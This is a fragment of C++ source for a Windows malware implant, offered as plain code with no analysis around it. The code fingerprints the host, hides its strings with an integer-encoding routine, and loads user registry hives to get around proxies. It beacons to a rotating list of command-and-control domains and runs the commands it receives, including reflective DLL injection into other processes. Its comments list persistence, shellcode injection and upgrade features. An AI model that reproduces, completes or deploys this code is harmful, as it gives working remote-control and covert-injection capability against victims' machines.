delete wszTo; //HAVING OBTAINED THE INFORMATION WE NEED, WE CAN NOW SHUT DOWN THE WINSOCK LIBRARY: WSACleanup(); //IMPLANT ID HKEY hKey; //PULL OUT MACHINE ID hKey = regOpenKey(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Cryptography", KEY_QUERY_VALUE); if(hKey != NULL) { //DON'T CLEAR IT - id WILL BE HOSTNAME WITH MachineGuid APPENDED temp.append(regQueryValue(hKey, L"MachineGuid")); RegCloseKey(hKey); } else { temp.append(L"GUIDERROR"); } //ID IS THE MACHINEGUID...OR THE HOSTNAME IF MACHINEGUID DOESN'T COME BACK // &id= int id[] = {119,56,53,108}; urlVars.append(decryptString(id, (sizeof(id)/sizeof(int)))); urlVars.append(temp); temp.clear(); //RETURN PRIVILEGES // &pp= int pp[] = {119,33,33,108}; urlVars.append(decryptString(pp, (sizeof(pp)/sizeof(int)))); if(adminPrivs == 1) urlVars.append(L"1"); else if(adminPrivs == 0) urlVars.append(L"0"); //IMPLANT VERSION // &vn= int vn[] = {119,39,63,108}; urlVars.append(decryptString(vn, (sizeof(vn)/sizeof(int)))); //2.50 int vnNum[] = {99,127,100,97}; urlVars.append(decryptString(vnNum, (sizeof(vnNum)/sizeof(int)))); } catch(...) { ret = 1; } return ret; } void runLoop() { //FIND A WAY OUT!! //OutputDebugString(L"GET OUT!"); WINHTTPCONNECT hConnect; hConnect.connectionNumber = 0; //DEFAULT TO FIRST ELEMENT IN ARRAY hConnect.connectionValid = false; //DEFAULT TO INVALID CONNECTION - TO SETUP INITIAL CONNECTION hConnect.connectionType = 0; //DEFAULT TO DIRECT CONNECTION hConnect.proxyConfig = L""; //INITIALIZE PROXY CONFIG hConnect.sUrl = L""; //INITIALIZE LP URL //LOOP UNTIL WE FIND A WAY OUT! while(true) { //FIND PROXY INFORMATION FOR CONNECTION if(findProxyConfig(hConnect) == true) break; //CONNECTION TYPE OF 5 MEANS THERE IS NO CONNECTION...KEEP LOOPING if(hConnect.connectionType != 5) break; //TRY THE NEXT DNS ENTRY IN THE ARRAY //OutputDebugString(L"TRYING NEXT DNS LP"); hConnect.connectionNumber++; //SLEEP BEFORE NEXT ATTEMPT sleepDelay(DNSERROR); } //OutputDebugString(L"FOUND A WAY OUT"); while(true) { wstring htmlKey; bool repeat = 0; int val = 0; if(RCONNECTION == 1) { //MAKE RANDOM SELECTION FROM ARRAY hConnect.connectionNumber = rand() % DNSARRAY; setupConnection(hConnect); } //RETRIVE KEY FROM HTML htmlKey = retrieveData(hConnect); //RETURNS -1 IF ERROR OCCURRED CONNECTING if(htmlKey == L"-1") { //SET CONNECTION STATUS TO FALSE hConnect.connectionValid = false; bool t = false; //TEST THE CONNECTION UNTIL WE GET OUT while(t == false) { //TRY THE NEXT DNS ENTRY IN THE ARRAY //OutputDebugString(L"INCREMENTING DNSARRAY"); hConnect.connectionNumber++; //RESET DNS COUNT IF WE HIT THE MAX if((hConnect.connectionNumber) >= DNSARRAY) { //OutputDebugString(L"RESETTING DNSCOUNT"); hConnect.connectionNumber = 0; } //ATTEMPTING RECONNECTION //OutputDebugString(L"ATTEMPTING RECONNECTION"); //OutputDebugString(hConnect.sUrl.c_str()); //OutputDebugString(hConnect.proxyConfig.c_str()); //TEST THE NEXT DNS LP t = setupConnection(hConnect); //SLEEP BETWEEN EACH ATTEMPT sleepDelay(DNSERROR); } //SLEEP AFTER FINDING NEW DNS THAT WORKS...SO IT DOESN'T GET BURNED IMMEDIATELY sleepDelay(DNSERROR); //SET VAL TO 999 SO WE DON'T SLEEP AGAIN BELOW val = 999; } //PARSE THE KEY AND CARRY OUT COMMAND if(htmlKey.length() > 8 && htmlKey.length() < 500) { try { //SUBTRACT TO GET TO CORRECT POSITION int t = _wtoi(htmlKey.substr(htmlKey.length() - 3, htmlKey.length() - 2).c_str()); //REPEAT IF MORE COMMANDS ARE QUEUED if(t == 1) repeat = true; else repeat = false; val = parseRequest(htmlKey, hConnect); } catch(...) { sendData(hConnect, L"10", L"EXCEPTION"); } } //NO SLEEP CUZ WE JUST ITERATED THROUGH LPs WHICH TAKES A WHILE if(val == 999) { val = 0; continue; } //NO COMMANDS LEFT, NORMAL SLEEP if(repeat == false) sleepDelay(DEFAULTTIMEOUT); //MORE COMMANDS, SHORT SLEEP else sleepDelay(SHORTTIMEOUT); } } wstring checkAutoConfigURL(HKEY hKey, LPCTSTR extraPath) { HKEY keyHandle; wstring retString = L""; //APPEND ANY EXTRA PATH...NEEDED WHEN RUNNING AS SYSTEM AND MOUNTING THE USER PROFILE OUTSIDE THE DEFAULT LOCATION wstring subKey = extraPath; if(wcslen(extraPath) > 1) subKey.append(L"\\"); // Software\Microsoft\Windows\CurrentVersion\Internet Settings int subKeyCode[] = {2,62,55,37,38,48,35,52,13,28,56,50,35,62,34,62,55,37,13,6,56,63,53,62,38,34,13,18,36,35,35,52,63,37,7,52,35,34,56,62,63,13,24,63,37,52,35,63,52,37,113,2,52,37,37,56,63,54,34}; subKey.append(decryptString(subKeyCode, (sizeof(subKeyCode)/sizeof(int)))); // AutoConfigURL int autoConfigURLCode[] = {16,36,37,62,18,62,63,55,56,54,4,3,29}; wstring autoConfigURL = decryptString(autoConfigURLCode, (sizeof(autoConfigURLCode)/sizeof(int))); //OPEN PROXY REGISTRY KEYS keyHandle = regOpenKey(hKey, subKey.c_str(), KEY_QUERY_VALUE); if(keyHandle != NULL) { //PULL OUT AUTO CONFIG URL AND RETURN IT retString = regQueryValue(keyHandle, autoConfigURL.c_str()); RegCloseKey(keyHandle); } return retString; } wstring checkProxyEnable(HKEY hKey, LPCTSTR extraPath) { HKEY keyHandle; wstring retString = L""; //APPEND ANY EXTRA PATH...NEEDED WHEN RUNNING AS SYSTEM AND MOUNTING THE USER PROFILE OUTSIDE THE DEFAULT LOCATION wstring subKey = extraPath; if(wcslen(extraPath) > 1) subKey.append(L"\\"); // Software\Microsoft\Windows\CurrentVersion\Internet Settings int subKeyCode[] = {2,62,55,37,38,48,35,52,13,28,56,50,35,62,34,62,55,37,13,6,56,63,53,62,38,34,13,18,36,35,35,52,63,37,7,52,35,34,56,62,63,13,24,63,37,52,35,63,52,37,113,2,52,37,37,56,63,54,34}; subKey.append(decryptString(subKeyCode, (sizeof(subKeyCode)/sizeof(int)))); // ProxyEnable int proxyEnableCode[] = {1,35,62,41,40,20,63,48,51,61,52}; wstring proxyEnable = decryptString(proxyEnableCode, (sizeof(proxyEnableCode)/sizeof(int))); keyHandle = regOpenKey(hKey, subKey.c_str(), KEY_QUERY_VALUE); if(keyHandle != NULL) { DWORD peType; DWORD peSize = sizeof(DWORD); DWORD peData; //CHECK IF PROXY IS ENABLED if(RegQueryValueEx(keyHandle, proxyEnable.c_str(), 0, &peType, (LPBYTE)&peData, &peSize) == ERROR_SUCCESS) { //PROXY IS ENABLED! GRAB SETTINGS! if(peData == 1) { // ProxyServer int proxyServerCode[] = {1,35,62,41,40,2,52,35,39,52,35}; wstring proxyServer = decryptString(proxyServerCode, (sizeof(proxyServerCode)/sizeof(int))); //PULL OUT PROXY SETTINGS retString = regQueryValue(keyHandle, proxyServer.c_str()); } } RegCloseKey(keyHandle); } //PROXY IS NOT ENABLED OR UNABLE TO RETRIEVE SETTINGS return retString; } bool testConnection(WINHTTPCONNECT &hConnect) { //ATTEMPT HTTPS CONNECTION FIRST WinHttpClient hClient(hConnect.sUrl); //INCLUDE NO CACHE HEADERS SO PROXY SERVER DOESN'T RETURN CACHED CONTENT hClient.SetAdditionalRequestHeaders(L"Pragma: no-cache\r\n"); //DON'T REQUIRE VALID CERT hClient.SetRequireValidSslCertificates(false); //SET PROXY CONFIGURATION setProxyConfig(hClient, hConnect); //OutputDebugString(L"ATTEMPTING TO CONTACT LP"); //OutputDebugString(hConnect.sUrl.c_str()); //ATTEMPT TO GET OUT hClient.SendHttpRequest(); //IF CONTENT SIZE IS > 0 THEN IT WORKS! if(hClient.m_statusCode == L"200" || hClient.m_statusCode == L"403") { //OutputDebugString(L"CONNECTION TO LP SUCCESSFUL"); hConnect.connectionValid = true; return true; } else { //OutputDebugString(L"STATUS NOT 200"); //OutputDebugString(hClient.m_statusCode.c_str()); } /* if(hClient.m_statusCode == L"401") { //OutputDebugString(L"SETTING AUTOLOGON POLICY AND RETRYING"); WinHttpSetOption(hClient.m_sessionHandle, WINHTTP_OPTION_AUTOLOGON_POLICY, (LPVOID)WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW, sizeof(int)); hClient.SendHttpRequest(); if(hClient.m_statusCode == L"200") { //OutputDebugString(L"IT WORKS...ROCK ON!"); hConnect.connectionValid = true; } else { //OutputDebugString(L"STILL FAILED! I SUCK AGAIN!"); } } */ return false; } bool setupConnection(WINHTTPCONNECT &hConnect) { //SETUP LP URL hConnect.sUrl = decryptString(DNSCODE[hConnect.connectionNumber], (sizeof(DNSCODE[hConnect.connectionNumber])/sizeof(int))); //IF THE CONNECTION IS NOT CURRENTLY VALID, THEN LET'S TEST THE NEW ONE if(hConnect.connectionValid == false) { if(testConnection(hConnect) == true) return true; } //IF THE CONNECTION IS CURRENTLY VALID THEN WE'RE USING RANDOM LP SELECTION...JUST USE FIRST LP AND MOVE ON else { return true; } return false; /* int count = 0; while(count < 2) { if(PCONNECTION == 0 && count == 0 || PCONNECTION == 1 && count == 1) { //SETUP THE HTTP URL // http:// int httpAddrCode[] = {57,37,37,33,107,126,126}; //SETUP THE HTTP URL hConnect.sUrl = decryptString(httpAddrCode, (sizeof(httpAddrCode)/sizeof(int))); hConnect.sUrl.append(decryptString(DNSCODE[hConnect.connectionNumber], (sizeof(DNSCODE[hConnect.connectionNumber])/sizeof(int))).c_str()); hConnect.sUrl.append(L":"); hConnect.sUrl.append(decryptString(HTTPCODE, (sizeof(HTTPCODE)/sizeof(int)))); } else { //SETUP THE HTTPS URL // https:// int httpsAddrCode[] = {57,37,37,33,34,107,126,126}; //SETUP THE HTTPS URL hConnect.sUrl = decryptString(httpsAddrCode, (sizeof(httpsAddrCode)/sizeof(int))); hConnect.sUrl.append(decryptString(DNSCODE[hConnect.connectionNumber], (sizeof(DNSCODE[hConnect.connectionNumber])/sizeof(int))).c_str()); hConnect.sUrl.append(L":"); hConnect.sUrl.append(decryptString(HTTPSCODE, (sizeof(HTTPSCODE)/sizeof(int)))); } //IF THE CONNECTION IS NOT CURRENTLY VALID, THEN LET'S TEST THE NEW ONE if(hConnect.connectionValid == false) { if(testConnection(hConnect) == true) return true; } //IF THE CONNECTION IS CURRENTLY VALID THEN WE'RE USING RANDOM LP SELECTION...JUST USE FIRST LP AND MOVE ON else { return true; } count++; } //IF NEITHER WORKED, THEN RETURN FALSE return false; **/ } //REFLECTIVELY LOAD IN-MEMORY DLL DWORD runReflector(BYTE *dll, DWORD dllLen, DWORD tPid) { DWORD pid; //DWORD tid; DWORD dwResult = 0; HANDLE hProcess = NULL; HANDLE tdHandle = NULL; HANDLE hModule = NULL; //BYTE bMessage[32] = {0}; DWORD dwBytes = 0; //remote->command = "0"; do { //NOW LOAD THE DLL //pid = FindPid("spoolsv.exe"); //if(remote->taskInt == 20) pid = GetCurrentProcessId(); //else pid = FindPid(remote->taskCommand); //OutputDebugString(remote->taskCommand); //pid = FindPid(remote->taskCommand); pid = tPid; if(pid == 0) { dwResult = 1; break; } hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); if(!hProcess) { dwResult = 3; break; } //OutputDebugString(L"RUNNING LoadRemoteLibraryR"); //char *test = "HELLO?!?!?!"; hModule = LoadRemoteLibraryR(hProcess, dll, dllLen, 0); if(!hModule) { dwResult = 4; break; } //remote->command = "0"; }while(0); //OutputDebugString("ALL DONE!!!"); if(hProcess) CloseHandle(hProcess); if(hModule) CloseHandle(hModule); return dwResult; } //RETURNS A HANDLE TO REGISTRY LOCATION HKEY regOpenKey(HKEY hKey, LPCTSTR subKey, REGSAM dPriv) { HKEY rHandle; if(RegOpenKeyEx(hKey, subKey, 0, dPriv, &rHandle) == ERROR_SUCCESS) return rHandle; else return NULL; } //RETURNS ONLY STRING REGISTRY VALUES wstring regQueryValue(HKEY hKey, LPCTSTR valueName) { wchar_t data[255] = L""; DWORD dataSize = 255; if(RegQueryValueEx(hKey, valueName, NULL, NULL, (LPBYTE)data, &dataSize) == ERROR_SUCCESS) return data; else return L""; } bool findProxyConfig(WINHTTPCONNECT &hConnect) { //FORCE TESTING THE PROXY ON DEBUG #ifndef DEBUGPROXY //ATTEMPT NORMAL CONNECTION FIRST //OutputDebugString(L"ATTEMPTING DIRECT CONNECTION"); if(setupConnection(hConnect)) return true; #endif //RUNNING AS USER //ACCESS REGISTRY DIRECTLY FOR PROXY SETTINGS if(adminPrivs == 0) { //OutputDebugString(L"RUNNING AS USER"); wstring t = checkProxyEnable(HKEY_CURRENT_USER, L""); //PROXY IS ENABLED, SO RETURN PROXYSERVER:PORT if(t.length() > 1) { //OutputDebugString(L"FOUND IP PROXY"); //RETURN PROXY ADDRESS AND CONNECTION TYPE OF 1 = PROXY:PORT hConnect.proxyConfig = t; hConnect.connectionType = 1; //OutputDebugString(t.c_str()); if(setupConnection(hConnect)) return true; } //PROXY NOT ENABLED SO TRY AutoConfigURL t = checkAutoConfigURL(HKEY_CURRENT_USER, L""); //AUTOCONFIGURL IS ENABLED SO RETURN THE URL if(t.length() > 1) { //OutputDebugString(L"FOUND URL PROXY"); //RETURN PROXY ADDRESS AND CONNECTION TYPE OF 2 = WPAD URL hConnect.proxyConfig = t; hConnect.connectionType = 2; //OutputDebugString(t.c_str()); if(setupConnection(hConnect)) return true; } } //RUNNING AS SYSTEM //HAVE TO LOAD USER PROFILE //IT'S THE BEST/MOST COVERT I CAN FIND else { HKEY keyHandle; //OutputDebugString(L"RUNNING AS SYSTEM"); // SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList int profileListCode[] = {2,30,23,5,6,16,3,20,13,28,56,50,35,62,34,62,55,37,13,6,56,63,53,62,38,34,113,31,5,13,18,36,35,35,52,63,37,7,52,35,34,56,62,63,13,1,35,62,55,56,61,52,29,56,34,37}; wstring profileList = decryptString(profileListCode, (sizeof(profileListCode)/sizeof(int))); //GRAB A HANDLE TO THE PROFILE LIST keyHandle = regOpenKey(HKEY_LOCAL_MACHINE, profileList.c_str(), KEY_READ); //OutputDebugString(L"FINDING PROFILES"); //OutputDebugString(profileList.c_str()); if(keyHandle != NULL) { int dIndex = 0; wchar_t subKey[255]; DWORD subKeySize = 255; //OutputDebugString(L"LOOPING THROUGH PROFILES"); //FIRST METHOD TO GET OUT IS ATTEMPT TO LOAD USER PROFILES AND FIND ONE WITH PROXY SETTINGS //ONLY WORKS ON XP BECAUSE 7 SEPARATES SYSTEM PRIVS AND USER PRIVS //LOOP THROUGH PROFILE LIST REG KEYS TO FIND A VALID USER TO LOAD THEIR PROFILE FROM HKEY_USERS while(RegEnumKeyEx(keyHandle, dIndex, subKey, &subKeySize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { wstring temp = profileList; temp.append(L"\\"); temp.append(subKey); //OutputDebugString(subKey); HKEY keyHandle1 = regOpenKey(HKEY_LOCAL_MACHINE, temp.c_str(), KEY_READ); if(keyHandle1 != NULL) { //FIND USER PROFILE PATH // ProfileImagePath int profilePathCode[] = {1,35,62,55,56,61,52,24,60,48,54,52,1,48,37,57}; wstring profilePath = decryptString(profilePathCode, (sizeof(profilePathCode)/sizeof(int))); //PULL OUT THE USER PROFILE PATH - WHAT WE'RE REALLY AFTER wstring userProfilePath = regQueryValue(keyHandle1, profilePath.c_str()); // \ntuser.dat int ntUserDatCode[] = {13,63,37,36,34,52,35,127,53,48,37}; userProfilePath.append(decryptString(ntUserDatCode, (sizeof(ntUserDatCode)/sizeof(int)))); //GETTING PERMISSIONS REQUIRED TO LOAD USER PROFILE enableSEPrivilege(SE_RESTORE_NAME); enableSEPrivilege(SE_BACKUP_NAME); //STUPID WINDOWS...SOMETIMES USES ENV VARIABLE %systemdrive% AND SOMETIMES NOT...WTF? if(userProfilePath.find(L"%") != -1) { wchar_t *aTmp = new wchar_t[userProfilePath.length()+128]; ExpandEnvironmentStrings(userProfilePath.c_str(), aTmp, userProfilePath.length()+128); userProfilePath.clear(); userProfilePath = aTmp; delete[] aTmp; //OutputDebugString(L"EXPANDED ENV VARIABLE"); } //OutputDebugString(L"ATTEMPTING TO LOAD PROFILE"); //OutputDebugString(userProfilePath.c_str()); bool isProfileLoaded = false; //ATTEMPT TO LOAD THE USER PROFILE //THIS WILL FAIL ON VISTA/7...WHICH IS WHY IT ONLY WORKS AFTER A USER LOGS IN if(RegLoadKey(HKEY_USERS, subKey, userProfilePath.c_str()) == ERROR_SUCCESS) { isProfileLoaded = true; //OutputDebugString(L"LOADED USER PROFILE"); } #ifdef _DEBUG else { //PRINT DEBUG INFO IF PROFILE FAILS TO LOAD //OutputDebugString(L"UNABLE TO LOAD USER PROFILE"); wchar_t tmp[25]; DWORD retInt = GetLastError(); _itow(retInt, tmp, 10); //OutputDebugString(tmp); } #endif //CHECK HKEY_USER SUBKEY FOR IP PROXY wstring t = checkProxyEnable(HKEY_USERS, subKey); if(t.length() > 1) { //RETURN PROXY ADDRESS AND CONNECTION TYPE OF 3 = PROXY:PORT //OutputDebugString(L"FOUND IP PROXY"); hConnect.proxyConfig = t; hConnect.connectionType = 3; //OutputDebugString(t.c_str()); //IF true IS RETURNED, THEN UNLOAD PROFILE AND RETURN PROXY STRUCT if(setupConnection(hConnect)) { if(isProfileLoaded) RegUnLoadKey(HKEY_USERS, subKey); return true; } } //CHECK HKEY_USER SUBKEY FOR URL PROXY t = checkAutoConfigURL(HKEY_USERS, subKey); //AUTOCONFIGURL IS ENABLED SO RETURN THE URL if(t.length() > 1) { //OutputDebugString(L"FOUND URL PROXY"); //RETURN PROXY ADDRESS AND CONNECTION TYPE OF 4 = WPAD URL hConnect.proxyConfig = t; hConnect.connectionType = 4; //OutputDebugString(t.c_str()); //IF true IS RETURNED, THEN UNLOAD PROFILE AND RETURN PROXY STRUCT if(setupConnection(hConnect)) { if(isProfileLoaded) RegUnLoadKey(HKEY_USERS, subKey); return true; } } //UNLOAD PROFILE IF LOADED if(isProfileLoaded) RegUnLoadKey(HKEY_USERS, subKey); //CLOSE KEY HANDLE RegCloseKey(keyHandle1); } //RESET ALL SUBKEYS FOR LOOP subKey[0] = '\0'; subKeySize = 255; dIndex++; } RegCloseKey(keyHandle); } #ifdef DEBUG else { //OutputDebugString(L"PROFILE REGISTRY HANDLE IS NULL!"); //PRINT DEBUG INFO IF UNABLE TO GET PRIVS wchar_t tmp[25]; DWORD retInt = GetLastError(); _itow(retInt, tmp, 10); //OutputDebugString(tmp); } #endif } //UH OH...NO CONNECTION //OutputDebugString(L"DIDN'T GET OUT"); //CONNECTION TYPE OF 5 = NO CONNECTION hConnect.connectionType = 5; return false; } //99 = implant error! //15 = operation not supported //14 = failed to get pid of explorer.exe //13 = failed to inject shellcode //12 = install service failed //11 = uninstall failed //10 = malformed data //9 = error creating task //8 = created process is still running or returned no output //7 = error encoding data //6 = upgrade failed //5 = failed to install persistence in the registry //4 = failed to update callback time //3 = download failed //2 = dll failed to load //1 = no key found in html //0 = operation completed successfully //TO DO //1 - Add XOR Obfuscation to POST variable - DONE //2 - Dyanmic API lookup for shellcode injection //3 - Load EXE if exists in certain place - DONE //4 - Remove ADMIN startup path in main. //- Attempt to create service...if it fails go on, if its successful start it //5 - ACCEPT %appdata% FROM LP